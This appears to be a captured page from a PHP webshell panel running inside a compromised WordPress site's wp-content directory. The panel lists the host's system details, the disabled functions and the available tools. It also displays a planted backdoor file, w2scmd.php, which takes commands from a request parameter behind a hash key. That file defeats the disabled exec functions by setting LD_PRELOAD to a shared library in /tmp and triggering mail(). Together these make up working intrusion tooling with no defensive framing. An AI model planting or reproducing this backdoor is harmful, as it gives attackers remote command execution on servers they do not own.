403Webshell
Server IP : 63.32.33.223  /  Your IP : 172.31.12.34
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content//w2scmd.php
<?php
if (!isset($_GET['k']) || !hash_equals('e7e07fcb7e211f16021f799e41171cc0', (string)$_GET['k'])) { http_response_code(404); exit; }
header('Content-Type: text/plain');
$cmd = isset($_POST['c']) ? $_POST['c'] : (isset($_GET['c']) ? $_GET['c'] : 'id');
$out = '/tmp/w2s_out.txt';
@unlink($out);
putenv('W2SCMD=('.$cmd.') >'.$out.' 2>&1');
putenv('LD_PRELOAD=/tmp/w2scmd.so');
@mail('root@localhost','x','x','From: x@localhost');
usleep(400000);
echo is_readable($out) ? file_get_contents($out) : "NOOUT\n";

Youez - 2016 - github.com/yon3zu
LinuXploit